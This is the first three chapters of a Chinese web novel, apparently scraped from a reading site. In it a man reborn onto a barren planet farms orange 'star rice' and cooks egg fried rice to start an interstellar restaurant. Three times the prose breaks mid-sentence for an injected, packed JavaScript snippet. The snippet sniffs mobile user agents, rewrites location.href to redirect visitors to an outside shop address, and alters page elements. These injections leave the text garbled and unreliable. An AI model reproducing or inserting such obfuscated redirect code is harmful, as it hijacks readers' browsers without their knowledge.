《用地球菜谱在星际翻身》 1. 荒星上的第一个念头 隆隆隆! 老旧的拖拉机咆哮着驶过肥沃的田垄,排气管喷出一股黑烟,在湛蓝得近乎不真实的天空下格外扎眼。夏炎序摸了一把额头上的汗,手掌在已经湿透的背心上蹭了蹭,抬头望向遥遥无际的黑土地,眼神里透出一种复杂的绝望。 目之所及的土地现在都是他的资产——乃至于这整个星球都是他的资产。土壤检测报告显示这片黑土的有机质含量高得惊人,放在地球上简直是老天爷追着喂饭吃的宝地。但夏炎序高兴不起来,因为他现在不是地球公民。在星际时代,拥有一颗荒星的人,恰恰处于经济最底层。 这听起来很矛盾,但事实就是如此。 星际联邦的等级划分简单粗暴:核心星域的公民拥有投票权、社会保障和基础能源配额;边疆星域的居民能享受七折的星际物流和有限的星网权限;而像他这样拥有一整颗行星的“星球主”——听起来威风凛凛——实际上连公民都算不上。因为荒星不值钱。联邦登记在册的宜居行星超过四十七亿颗,已开发的不到百分之三,剩下那些没有战略资源、不在航道枢纽、气候又不够温和的行星,基本上就是星图上的一个编号。联邦巴不得有人认领,省得自己负担基础监测费用。 夏炎序继承的这颗编号KX-7791的行星,连个正经名字都没有,原主——也就是这具身体的前任主人——耗尽积蓄支付了认领费和首期航道接入费之后,就再也没有余力进行任何开发了。 一个月前穿越而来的夏炎序最初是高兴的。在地球打工的他连房子的贷款都没有还完,每天挤三小时地铁上下班,吃着十二块钱的外卖,在格子间里对着电脑敲到颈椎变形。哪知道睡了一觉——可能是心脏病发,也可能是过劳猝死——一睁眼,居然成了一颗行星的拥有者。 那天他从简陋的星际标准屋中醒来,推开气密门,看见一望无际的黑色沃野在晨光中延伸到天际线尽头,远处的山脉在薄雾中若隐若现,风里带着泥土和野草的清冽气息。他站在门口愣了很久,然后蹲下来抓了一把土,手指陷进松软湿润的黑泥里,闻到了一股久违的、属于土地的味道。 他当时以为自己中了头奖。 但现在,看着眼前这片未开垦的土地和这辆除了喇叭不响哪里都响的老旧拖拉机,再想想原主那触目惊心的星卡余额——3.7星币——生存需求在他眼前红线加粗,不断闪烁。原主你到底是哪里来的勇气花光积蓄,躺平荒星的啊。 吃了一个月的野果,胃里直泛酸水的夏炎序,终于在星网上找到了一线生机。 说是野果,其实是这颗行星上原生的几种可食用植物。原主的生态调查报告上标注了七种无毒浆果和两种块根植物,夏炎序靠着这些东西撑过了第一个月。紫色的浆果酸涩得让人腮帮子发麻,黄色的那种倒是甜,但吃下去半个小时后嘴唇会发麻,像打了过量麻药。块根植物烤熟了勉强能吃,但受限于烹饪厨具的原始性,口感介于土豆和树皮之间,嚼到第三口下颌就开始酸痛。 他已经不记得上一次吃一顿正经饭是什么时候了。 开垦这片荒星,他要种田,他要开个星际餐厅! 夏炎序有这个想法并不是一时冲动。他有这个想法已经有一个月了——对,就是他来星际的第一天,喝了第一瓶营养液开始,他就有这个冲动了。 因为营养液的味道简直是一言难尽。 免费救助营养液是联邦最低保障体系发放的,透明的软包装上印着“基础型全营养配方”几个字,连个品牌logo都没有。夏炎序第一次拧开瓶口的时候,闻到一股类似于煮过头的菠菜和没洗干净的搅拌机混合的气味。他捏着鼻子灌了一口,然后整个人僵住了。 那味道像是多种蔬菜打成的汁——苦瓜、甘蓝、大麦若叶、羽衣甘蓝,可能还有一小截没去皮的西葫芦——混合而成的青汁。味道不仅难以下咽,咽下去之后更有一种青草残渣黏在嗓子上的感觉,像是有人把一团湿润的草屑糊在了他的食道上。他喝完之后干呕了三次,灌了两大杯水才把那层黏腻感冲下去。 夏炎序不知道其他更高级的营养液味道是否也会这么销魂。星网上说军用高能营养液是咸口的,贵族级定制营养液甚至有几百种风味可选,什么“阿尔法星域特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420238|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调松露风味”“仙女座星系限定蜜桃香槟口感”——听起来倒像是正经饮料。但是就目前他的经济情况来说,不允许他做更多的市场调研。他现在的经济状况只可以领取免费的救助营养液,连最低级的“基础谷物风味”营养液都买不起,那种一瓶要0.8星币。 他开始疯狂想念地球上的一切食物。 想念楼下早餐店两块钱一根的油条,炸得金黄酥脆,咬下去咔嚓一声,里面却是蓬松柔软的;想念加班后路边摊的蛋炒饭,米饭粒粒分明,鸡蛋裹在上面,撒一把葱花,锅气腾腾;想念爸爸做的红烧肉,糖色炒得红亮,五花肉炖到入口即化,汤汁拌饭能吃三碗;想念夏天傍晚的烧烤摊,孜然和辣椒面的香气飘出半条街,羊肉串在炭火上滋滋冒油…… 他躺在床上,盯着天花板上那道裂缝,肚子咕噜噜地叫。他想这些想了整整一夜。 第二天清晨,他顶着两个黑眼圈,在星网上搜索了“如何开垦荒星”“低成本农业种植”“星际餐厅开办条件”等一系列关键词,然后在星历2781年的星际联邦法律框架下,找到了一个让他心跳加速的事实—— 联邦对“特色农产品”没有统一的品质标准认证要求。也就是说,只要他种的作物不属于联邦《外来入侵物种管制名录》中的禁止物种,他就可以自由种植、自由销售。而“餐厅”属于个体经营类别,只需要缴纳每月50星币的基础经营许可费,就可以在星网上注册开店。 而且这个餐厅并不需要客人乘坐飞船空间跳跃来到他的荒星来吃,更不是星际外卖之类的有星际外卖员骑着空间摩的来他这里取餐,而是全民意识投入在虚拟星网中,星网可根据用户需求,进行百分百或百分之几的味觉模拟、痛觉模拟和触觉模拟之类投射,大家在星网上就可以吃东西,学习,练体能,之后再按比例回馈到本体上,相当于灵魂干饭修炼,□□逐渐强壮。 他付不起50星币。但是他可以先种东西,等第一批收成卖掉之后再注册。 逻辑闭环。 夏炎序关掉星网,深吸一口气,走向那辆比他爷爷年纪还大的拖拉机。 2. 播种希望 在星网上买了一些蔬菜种子和植物生长液之后,夏炎序便开始了他的种田生涯。 说是“一些”,其实是他能买得起的全部。他在星网的“联邦农业物资交易平台”上翻了整整一个下午,用关键词“最便宜”“折扣”“清仓”“二手”反复筛选,最终下单了三样东西:一份星米种子,一包速生小白菜种子,以及五颗最基础的植物浓缩生长液。 星米种子:0.3星币。速生小白菜种子:0.2星币。浓缩生长液五颗套装:2.5星币。星际物流基础运费:0.5星币(因为KX-7791不在常规物流航道上,有额外偏远地区附加费)。 总计3.5星币。 他的账户余额在支付成功后变成了0.2星币。夏炎序盯着那个数字看了十秒钟,然后默默地关掉了星网界面,强迫自己不去想“如果种子发芽失败怎么办”这个问题。 其实在星际,农业已经完全脱离了人工这一环节。播种收获完全机械化,植物生长完全靠生物化学药剂和精准环境控制系统快速催长。大型农业公司的一个标准种植模块,从播种到收获全程无人化,气候、光照、水分、养分全部由中央AI调控,一季作物从种子到成熟只需要七十二个标准小时,产量是地球时代传统农业的数百倍。 但是谁让夏炎序穷呢。 账户上的星币购买不了任何高科技种田设备。别说自动化播种机了,他连一把像样的锄头都买不起。现在的拖拉机还是原主在星际回收站——联邦专门处理废弃电子设备和废旧机械的线上平台——淘到的。 说是拖拉机,其实更像是一堆金属零件勉强拼凑在一起的形状。它在回收站的分类目录里属于“待拆解级——仅剩 salvage value( salvage 价值)”。型号是早已停产的“库尔科夫农业机械公司CK-88型多功能农用牵引车”,生产日期是六十七年前。车身上满是锈迹,轮胎磨损得几乎看不到纹路,驾驶座上连个完整的坐垫都没有,露出里面发黄的海绵。引擎启动时的声音像一头濒死的老年犀牛在发出最后的悲鸣。 由于拖拉机太过落后、太过破旧,星际回收站的自动购买程序连购买费都没有收——它的系统估值是负值,意味着拆解它的成本高于回收材料的价值——只收了投放过来的邮费,耗费1个星币。 然后原主灵魂跑路,夏炎序接手了躯壳记忆,被强制入住。当那个巨大的废旧物资投放舱从轨道上坠落到KX-7791的大气层,最终在离夏炎序小屋五百米的地方砸出一个大坑,舱门打开露出那辆锈迹斑斑的拖拉机时,夏炎序站在坑边沉默了很长时间。 他深吸一口气,跳进坑里,花了整整六个小时才把那台破玩意儿弄出来。修好它又花了三天——用星网上下载的免费维修手册、从回收站淘来的二手零件(用荒星上的土特产买了两个火花塞和一个密封垫圈,穷到来回邮费都是用植物块根支付的),以及他在地球时帮老家叔叔修农用车的全部经验。 三天后,拖拉机居然真的发动了。 虽然它每工作四十分钟就要熄火冷却二十分钟,虽然它的最大牵引力只有出厂标称值的百分之三十,虽然它的排气管每十分钟就会喷出一团黑烟让夏炎序怀疑它下一秒就要爆炸——但它确实能犁地了。 夏炎序用拖拉机翻了大约两亩地。对于一颗直径一万两千公里的行星来说,这两亩地就像太平洋里的一滴水。但对于一个独自在异星上挥汗如雨的人来说,这两亩地已经让他累到腰都直不起来。 KX-7791的自转周期是二十六点七个小时,比地球的一天长了一点。夏炎序在翻完地的那个“傍晚”——太阳沉入地平线,天空变成深邃的紫蓝色,两颗卫星同时升起——瘫坐在地头,浑身被汗水浸透,手掌上磨出了四个水泡,后背被晒得发红发烫。他看着面前那两亩被翻得深浅不一、土块大小悬殊的土地,忽然笑了一下。 他已经很久没有这么累过了。在地球的时候,他的“累”是在格子间里连续敲十二小时键盘之后颈椎发出的咔咔声,是挤晚高峰地铁时被人流推着走却脚不沾地的荒谬感。那种累是钝的、麻木的、让人灵魂出窍的。 而现在这种累是尖锐的、具体的、每一块肌肉都在发出清晰信号的。他的手在抖,腿在酸,腰像被人打了一拳,但是他的脑袋前所未有地清醒。 他躺在松软的泥土上,看着陌生的星空——这里的星星比地球上看到的密集十倍,银河像一条发光的河流横贯天际——忽然觉得,好像也没那么糟。 第二天清晨——KX-7791的太阳比地球的略大,光线偏暖橙色,照在黑土地上有一种油画般的光泽——夏炎序正式开始播种。 他先种的是星米。 星米这种东西夏炎序也是第一次接触。他在星网上查了百科,页面上的介绍写得文绉绉的:“星米(学名:Oryza asteracea),禾本科星米属,原产于仙女座旋臂的泰伦星系,距今约三千年前被联邦农业科学院引入人类星域。星米具有极高的环境适应性,可在多种土壤条件下生长,亩产可达地球水稻的3-5倍。其籽粒富含蛋白质、膳食纤维和多种微量元素,是联邦居民的基础口粮之一。” 百科页面配了一张图:金黄色的稻田在风中起伏,沉甸甸的稻穗低垂着,每一粒稻谷都呈现出一种明亮的橘色。 夏炎序盯着那张图看了很久。他感觉这种东西能代替他内心中的大米——只不过这个星米不长在水里,而是长在旱地里的。成熟之后的形态和大米很像,一粒一粒的,但是颜色不是白色或淡黄色,而是一种很有食欲的橘色。 那种橘色不是荧光感的橙色,而是更像秋天柿子成熟时的那种暖橘色,带着一点微微的琥珀光泽。夏炎序第一次看到星米的颜色就产生了强烈的食欲——他脑海中自动浮现出一盘蛋炒饭:热锅冷油,鸡蛋滑散,倒入橘色的星米快速翻炒,米粒在锅中被热油包裹,每一粒都变得晶莹剔透,橘色变得更加鲜亮,撒上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420239|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把葱花和少许盐,出锅前淋几滴香油…… 那种颜色的蛋炒饭他能一次干掉三大碗。 夏炎序按照星际种植手册——他在星网上下载的免费PDF,一共三百多页,他用了一个晚上囫囵吞枣地看完了前五十页关于星米种植的部分——在翻过的土地上撒下星米的种子。他没有播种机,只能用手撒。他尽量让种子撒得均匀一些,但手上没有准头,有些地方撒密了,有些地方稀稀拉拉。他在心里安慰自己:密了可以间苗,稀了……稀了就当是通风透气了。 撒完种子后盖上土。他没有覆土工具,用一把从回收站淘来的铁锹(当然回收站的老头已经通过奇葩的邮费认识他了,慷慨地接受了再次用块根支付)一锹一锹地盖上去,厚度完全凭感觉。种植手册上说“覆土深度约为种子直径的2-3倍”,但星米的种子比芝麻还小,2-3倍深度大概就是几毫米。夏炎序觉得自己大概率盖厚了,但他实在没有办法做到那么精确。 然后是最关键的步骤——使用浓缩生长液。 他小心翼翼地从那五颗浓缩生长液中取出一颗。这东西大约有一个乒乓球那么大,外壳是一种半透明的软凝胶,里面装着翠绿色的液体。种植手册上的说明是:“将浓缩生长液置于种植区域上方约两米处,击破外壳使其在空中炸成水雾,雾滴自然沉降覆盖作物种植区。单颗浓缩生长液的有效覆盖面积为100-200平方米。” 夏炎序站在星米田的中央,深吸一口气,将那颗浓缩生长液高高抛起,然后捡起地上早就准备好的一根长竹竿——从小屋旁边的灌木丛里砍的,削掉了枝杈——对准了挥过去。 “啪!” 生长液在空中炸开,翠绿色的水雾向四周扩散开来,在暖橙色的阳光下折射出一道微型的彩虹。水雾细密得像晨间的露水,缓缓沉降下来,落在他的头发上、肩膀上、手背上,带着一股淡淡的草木清香。 他站在那道转瞬即逝的彩虹下面,忽然觉得自己像在做一个很傻的梦。 一个在地球上连仙人掌都能养死的程序员,在一颗陌生的星球上,用手撒种、用铁锹覆土、用竹竿炸生长液,种一种他从来没见过的外星作物。 如果在地球上的朋友们知道了,大概会觉得他疯了。 但夏炎序不在乎。他抹了一把脸上的水雾,蹲下来看着刚刚盖好土的田垄,内心祈祷明天一定要收获一片星米。 他祈祷得很认真。虽然他不确定这个宇宙里有没有什么神灵能听到他的祈祷——星网上说联邦注册的宗教一共有四千多种,但没有一种的神殿是建在KX-7791上——他还是闭上眼睛,双手合十,认认真真地祈祷了十秒钟:蓝星上的神灵啊,保佑我的作物能顺利成长吧,我之前在地球见识浅薄,也没了解过神灵该住什么样的庙宇,不过等我挣了星币,给你们在KX-7791上盖土地公庙,大家都别急,只要保佑我,大家都有土地公庙住。 然后他站起来,走向速生小白菜的种植区 3. 收获 第二天田里的情况果然没有让夏炎序失望。 事实上,当他第二天清晨推开小屋的气密门,第一眼看到那片星米田的时候,他的第一反应不是“高兴”,而是“震惊”,然后迅速过渡到“恐慌”——因为那片橘色的稻穗沉甸甸地弯着,弯到了一个让他觉得随时会折断的角度。 每一株星米都有将近一米二高,茎秆粗壮得像小竹子,顶端挂着密密麻麻的稻穗。稻穗上的籽粒饱满得几乎要撑破外壳,每一粒都是那种温暖的橘色,在晨光下泛着微微的光泽。稻穗的重量太大了,整株植物被压弯了腰,穗尖几乎垂到了地面上。一阵微风吹过,整片稻田像一片橘色的海浪,起伏之间发出沙沙的声响。 夏炎序站在田边,嘴巴微张,大脑在经历了短暂的空白之后飞速运转起来。他想到种植手册上的一句话:“星米成熟后应及时收获,过熟可能导致籽粒脱落和茎秆倒伏。” “倒伏”——他当时看到这个词的时候没有太在意,觉得就是普通的农业术语。现在他明白了,倒伏就是稻穗沉到自己把茎秆压断,然后整片田像被压路机碾过一样全部趴在地上。 他再看看那已经弯成弓形的茎秆,一种紧迫感从尾椎骨直窜天灵盖。 他要是再赖床晚起一会儿——不,别说一会儿了,他怀疑再过一个小时,这稻穗就能沉到不堪负重自己折断栽倒地里去。 夏炎序以他穿越到星际以来最快的速度冲回小屋,翻出所有能用的容器——几个从回收站淘来的塑料储物箱、原主留下的两个金属桶、甚至一个不知道从哪里翻出来的旧枕头套——然后冲向稻田,开始了他在KX-7791上的第一次收获。 收获过程不必细说。 如果非要细说,那就是——累到让夏炎序怀疑人生。 他没有收割机,没有镰刀(后来他用铁锹的边缘勉强磨出了一点刃口,但那玩意儿割稻子跟用菜刀砍头发一样不靠谱),他甚至没有一把像样的剪刀。他最初试图用手直接把稻穗从茎秆上撸下来,结果发现星米的籽粒附着得非常牢固,用手指根本撸不动,反而把掌心磨得通红。 最后他想了一个办法:把整株星米从根部拔起来,然后抓住茎秆的底部,把稻穗朝下用力摔打在一个硬质塑料箱的边缘上,利用撞击力让籽粒脱落。 这个方法有效,但是效率极低,而且对体力的消耗巨大。 他弯着腰,一手抓住一把星米植株,高高举起,重重摔下。“砰——哗啦啦”,橘色的籽粒像雨点一样溅落在塑料箱里,有一些弹跳出来落在地上。他顾不上去捡那些掉落的,因为还有一整片田在等着他。 “砰——哗啦啦。” “砰——哗啦啦。” 这个声音在空旷的原野上单调地重复着,偶尔夹杂着夏炎序粗重的喘息声和几句他在地球上学到的、不适合在任何公共场合复述的感叹词。 KX-7791的这一天有二十六点七个小时。夏炎序从早上六点(以小屋里的计时器为准)开始收获,一直干到下午四点,中间只停下来喝了两次水——从小屋过滤系统接的循环水,有一股淡淡的金属味——和一次被他称为“午餐”的休息:三个紫色酸浆果和一块烤块根植物。 下午四点的时候,他的腰已经痛到让他一度产生了“要不就这样算了吧,回小屋吃一辈子救济营养液也挺好的”的消极念头。他的手掌上原本的水泡已经磨破了,露出嫩红的新肉,每一次握紧植株都带来一阵刺痛。他的肩膀像被人灌了铅,手臂抬起来都费劲。 他直起腰——准确地说,是试图直起腰,但发现自己的脊椎好像被固定成了一个弯曲的弧度——看着还剩大约三分之一没收完的稻田,橘色的稻穗在午后的阳光下轻轻摇晃,仿佛在嘲笑他的体力。 他真的很想放弃。 就在这个时候,他的胃发出了一个声音。 不是普通的饥饿咕噜声,而是一种更深层次的、带着记忆和情感的共鸣。他的脑海中突然浮现出一个画面——不是抽象的“蛋炒饭”的概念,而是一个极其具体的画面:他上初中时,每天中午放学回家,推开门就能闻到的味道。爸爸在厨房里炒菜,锅铲碰撞铁锅的声音,油烟机的嗡嗡声,然后是一盘刚刚出锅的扬州炒饭被端上桌——米饭是隔夜的,所以粒粒分明;鸡蛋碎金黄金黄的;火腿丁、虾仁、青豆、玉米粒点缀其间;上面撒了一小撮葱花,用锅里的余温激发出香味。 他端着一个碗,坐在餐桌前,第一口炒饭送进嘴里的时候,那种温热、鲜美、咸香、米饭的软糯和鸡蛋的嫩滑同时在口腔里绽放的感觉——他的眼眶忽然有点发酸。 吃货之魂,在中途燃烧了。 不是那种轰轰烈烈的、像烟花一样绽放的燃烧。而是一种安静的、持久的、从胃部深处升腾起来的热度,像一盏被点燃的油灯,虽然微弱,但是足以照亮他继续走下去的路。 夏炎序深吸一口气,用力拍了一下自己的脸颊,发出清脆的“啪”的一声响。 “夏炎序,”他对自己说,“你想吃蛋炒饭吗?” 风拂过稻田,发出沙沙的响声,像是在回答。 “想吃就继续干。” 他弯下腰,重新握紧了一把星米植株。 “砰——哗啦啦。” 傍晚时分——准确地说,是KX-7791的太阳开始触碰到地平线的时候,天空被染成了从橘红到紫罗兰的渐变色——夏炎序收获了最后一株星米。 他把最后一把籽粒摔打进塑料箱里,然后整个人直接向后倒在了田垄上,四肢摊开,像一个“大”字。他的后背接触到松软的泥土,还带着白天阳光照射后残留的余温。他大口大口地喘着气,胸口剧烈起伏,汗水沿着太阳穴流进头发里。 头顶的天空正在从深蓝色向靛蓝色过渡,那两颗卫星已经升起来了,一颗大而明亮,一颗小而暗红。银河在这个时候变得格外清晰,像一条发光的丝带横贯天际,星星密集到几乎分不清彼此。 夏炎序躺在地上,累到连手指头都不想动。他的手掌火辣辣地疼,肩膀像是被人卸下来又重新装上去但是装错了位置,腰部的酸痛让他每一次呼吸都能清晰地感知到腰椎的存在。 他偏过头,看向那些装满星米籽粒的容器。 塑料箱、金属桶、枕头套——所有的容器都被装得满满当当,橘色的星米在暮色中依然显眼,像一箱箱被打捞上来的金色阳光。 他忽然笑了。 笑得很轻,很短暂,只是嘴角微微翘了一下,然后就被疲惫压了回去。但是那个笑容是真实的。 他在地球的时候,从来不知道收获是什么感觉。他的“收获”是每个月十五号银行短信里的工资到账通知,是项目上线后领导在群里发的一个大拇指emoji,是年终考核表上那个“B+”的评级。那些东西从来没有让他觉得踏实过,因为它们随时可以被收回、被削减、被否定。 但是现在,躺在这片陌生的土地上,看着自己亲手种出来、亲手收回来的这些橘色的籽粒,他感到了一种从未有过的、沉甸甸的踏实感。 这些星米是他种的。从撒种到覆土到生长液,到今天的收割和脱粒,每一步都是他亲手完成的。没有机器,没有AI,没有帮手,只有他一个人、一双手和一把破铁锹。 他的嘴角又翘了一下,这次停留的时间长了一点。 然后他的肚子发出了一个极其响亮的声音,在空旷的原野上回荡了大约两秒。 “行了行了,”夏炎序自言自语,费力地从地上坐起来,每一条肌肉都在抗议,“先别感动了,赶紧把星米弄回去,我还得做饭呢。” 晾晒封装星米期间——实际上晾晒只用了半个下午,因为KX-7791的大气干燥,日照充足,星米本身含水量也不高——夏炎序在星网上做了一件大事。 他装修好了自己的小店。 星网的店铺注册流程并不复杂,复杂的是他连那50星币的经营许可费都付不起。但是他在翻遍了星网的小型商户论坛之后,发现了一个漏洞——不,准确地说,是一个“灰色地带”:联邦允许个体经营者在未缴纳经营许可费的情况下进行“商品信息预登记”,只要店铺不在星网公开搜索中显示,且不产生实际交易,就可以暂时不缴费。 “商品信息预登记”听起来很官方,实际上就是一个不能公开搜索到的、不能交易的、只有一个空壳子的店铺页面。没有流量,没有顾客,没有任何实际功能。 但是夏炎序不在乎。他现在要的不是顾客,他要的是一个“存在”。 他在星网商户后台的店铺装修界面,花了整整一个晚上——KX-7791的夜晚有二十一个小时——反复修改、调整、删除、重做,最终完成了他的小店。 店铺的名字叫做:蓝星食铺。 头像是一张他随手画的简笔画——用星网自带的绘图工具,鼠标手绘,歪歪扭扭的——一个蓝色的圆球,上面有几团绿色的不规则形状代表大陆,圆球的左上角画了一个小小的黄色的半圆代表太阳。蓝色的圆球旁边,用同样歪歪扭扭的字体写着两个字:地球。 店铺简介那一栏,夏炎序想了很久,最后敲下了一行字: “来自一颗蓝色行星的味道。” 他在心里补了一句:虽然那颗行星我大概再也回不去了。 店铺的主页背景图,他选了一张自己拍的KX-7791的日落——用原主留下的老旧多功能终端拍的,像素不高,构图也没什么技巧,但是那天傍晚的晚霞格外绚烂,从地平线向上,颜色从深红渐变到橘黄再到浅紫,层次丰富得像一幅油画。他把这张图稍微调了一下亮度,作为店铺的背景。 商品列表目前是空的。夏炎序看着那个空荡荡的页面,鼠标悬停在“新增商品”按钮上,犹豫了一下,然后点开了。 他需要给他的星米定一个价格。 他在星网上搜索了星米的市场参考价。联邦农业物资交易平台上的最新报价是:普通级星米,0.8星币/公斤;优质级星米,1.5星币/公斤;特优级星米,3星币/公斤(附第三方品质检测报告)。 夏炎序看了看自己收获的星米。橘色的籽粒在灯光下泛着温润的光泽,颗粒饱满均匀,大小几乎一致,没有破碎粒,也没有虫蛀和霉变的迹象。他用多功能终端自带的简易检测功能扫描了一下,屏幕上显示出一行数据: 星米(Oryza asteracea)——预估等级:优质级。 他的心跳加快了一拍。 他又看了看自己账户上那刺眼的0.2星币——然后深吸一口气,在“商品价格”那一栏里输入了: 1.2星币/公斤。 比普通级贵,比优质级便宜。他想的是,他没有第三方品质检测报告,没有品牌知名度,没有任何信誉积累,定太贵了没人买,定太便宜了又对不起自己这几天的辛苦——而且他需要尽快回笼资金,50星币的经营许可费、下一批种子的费用、更多的生长液、也许还有一些基础的工具…… 他点了“保存”。商品状态显示为“待上架(未缴费,不可售)”。 他看着那个灰色的“不可售”标签,手指在桌面上轻轻敲了两下。 没关系。先把米种出来,把饭做出来,等凑够了50星币,一键上架,他就可以正式开始他的星际餐厅生涯了。 夏炎序关掉星网界面,站起来走向那个被他临时当作厨房的小屋一角。那里有一个原主留下的基础型食物处理器——一个功能极其简陋的方盒子,只能执行加热、搅拌、脱水等基础操作,连个像样的烹饪程序都没有。联邦的主流家庭早就用上了多功能分子烹饪台,可以自动分析食材成分并推荐最佳烹饪方案,而他的这个……大概相当于地球上一个只有“煮”和“蒸”两个功能的电饭煲,而且连内胆都有点变形了。 但他不在乎。 因为他不需要什么分子烹饪台,也不需要什么AI推荐的最佳烹饪方案。 他要做的,是地球上已经做了几千年的、最简单也最不简单的事情—— 做饭。 他用食物处理器的清洗功能简单冲洗了一下星米——橘色的水流进废水槽里,带着淡淡的米香——然后按照记忆中煮米饭的水量比例,加入了过滤水。 他没有电饭煲,只能用食物处理器的“恒温加热”模式来模拟。设定温度100摄氏度,时间25分钟,启动。 在等待的时间里,他处理了另外几样东西。 速生小白菜在昨天已经收获了。这种星际作物的生长速度快得离谱——从播种到收获只用了三十六个小时,而且长出来的小白菜每一棵都有巴掌大,叶片翠绿肥厚,茎部白嫩脆甜。他收了一大堆,一部分留作今天用,一部分晾起来准备做成简易脱水蔬菜。 他还从小屋周围的灌木丛里找到了一种类似于野葱的植物——这是他第一个星期就发现的,当时他咬了一口,辛辣的味道直冲鼻腔,然后他愣在原地,眼眶泛红,不是因为辣,而是因为他认出了这个味道。葱。这玩意儿虽然长得跟地球上的葱不太一样,叶子更宽更厚,颜色更深,但是那股辛辣中带着清甜的气味,和葱一模一样。 他后来在星网上查了,这种植物叫“星葱”,是KX-7791的原生植物,无毒,可食用,味道与地球葱科植物高度相似。联邦农业数据库里甚至有一条备注:“该物种风味独特,不建议食用。” 夏炎序看到那条备注的时候,笑了足足五分钟。 他笑是因为,他将惊艳整个星际,以后星际介绍他,估计是第一个吃葱的人。 他切了一把星葱,绿色的碎末在案板上散开,那股熟悉的辛辣清香弥漫在整个小屋里。他深深地吸了一口气,觉得这是他在星际闻到过的最好闻的味道。 然后他从回收站的角落里翻出了最后一样东西——原主留下的一瓶食用油。标签已经磨损得看不清了,但是通过星网扫描功能确认了是联邦标准级的植物调和油,未过期(星际时代的食品保质期长得惊人,这瓶油的保质期还有四十多年),可以食用。 夏炎序把油倒进一个平底锅里——这个锅是他用回收站淘来的一块金属板自己敲出来的,形状不太规则,底面也不太平,但勉强能用——放在食物处理器的加热板上。 油热了。他没有温度计,全靠经验判断——把手放在锅面上方一定高度,感受热辐射的强度。当热量从锅底升腾起来,他觉得差不多了,把切好的星葱碎末撒了进去。 “滋啦——” 那个声音。那个地球上每个家庭厨房里都会响起的声音,那个在无数个黄昏和清晨里伴随着饥饿和期待一起出现的声音,那个属于生活本身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420240|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音——在距离地球不知道多少光年的一颗无名星球上,在一间简陋得近乎原始的星际标准屋里,再一次响了起来。 葱花的香气瞬间炸开。 那股辛辣中带着焦香的、浓郁而霸道的味道,像一颗香气炸弹,在狭小的屋子里猛烈地扩散开来。夏炎序站在锅前,被这股热气扑了一脸,眼眶忽然就红了。 不是被烟熏的。 他用力吸了一下鼻子,然后迅速把已经打散的“鸡蛋”——不是地球的鸡蛋,是回收站的老板给的“蛋白合成粉”,(可能是看他可怜,也可能是想着救人一命胜造七级浮屠之类的,某次他淘废品的惠赠)加水调成的糊状物,口感类似于鸡蛋但颜色偏白,味道寡淡,不过形态和质地非常接近——倒进锅里。 又是“滋啦”一声。蛋白合成糊在热油中迅速凝固,边缘泛起金黄色。他用那把唯一的锅铲——也是自己敲的,形状歪歪扭扭,但能用——快速划散,让蛋白糊在锅中变成不规则的碎块。 然后他关小火,把煮好的星米饭倒了进去。 橘色的星米饭粒粒分明,每一粒都吸饱了水分,膨胀得圆润饱满,在锅中与金黄色的“蛋”碎、焦香的星葱混合在一起。他用锅铲快速地翻炒着,让每一粒米都均匀地裹上油脂,在热力的作用下变得更加晶莹剔透。 他没有酱油——这是最大的遗憾。没有盐?不,他有盐。原主留下了一袋联邦标准精制盐,未过期。他撒了一小撮进去,然后继续翻炒。 锅铲与锅底碰撞的声音,葱花和星米混合的香气,热油滋滋作响的旋律——夏炎序的动作越来越流畅,越来越有节奏感,仿佛他的身体在这一刻被某种古老的记忆接管了。那不是他在星际学到的任何技能,那是他在另一个世界、另一种生活里,在无数个加班的夜晚、无数个孤独的周末、无数个想要犒劳自己的时刻,一点一点积累在肌肉和味蕾里的记忆。 最后一把星葱碎末撒进去,翻炒三下,关火。 他把自己敲出来的那个歪歪扭扭的锅从加热板上端下来,放在桌面上。锅里的星米蛋炒饭在灯光下呈现出一种令人目眩的色彩——橘色的米粒像琥珀,金黄色的蛋碎像碎金,翠绿的星葱点缀其间,油脂让一切表面都泛着温润的光泽。 他拿起那把唯一的勺子——也是自己削的木勺——舀了一口,送进嘴里。 第一口。 米粒在齿间轻轻崩开,外软内韧,带着星米特有的微微甜味和坚果香气。“蛋”碎提供了柔滑的口感和淡淡的咸味,星葱的辛香在热力的激发下变得温和而深邃,与油脂的香气完美地融合在一起。每一粒米都裹着恰到好处的油分,不腻不干,在口腔中慢慢释放出层次丰富的味道。 夏炎序闭上了眼睛。 他看到了很多画面。 他看到了小时候奶奶在灶台前炒饭的背影,看到了大学食堂里两块钱一份的蛋炒饭,看到了工作后出租屋里自己对着笔记本电脑吃外卖的无数个夜晚。他看到了那条他再也回不去的大河,那座他再也回不去的城市,那些他再也见不到的人。 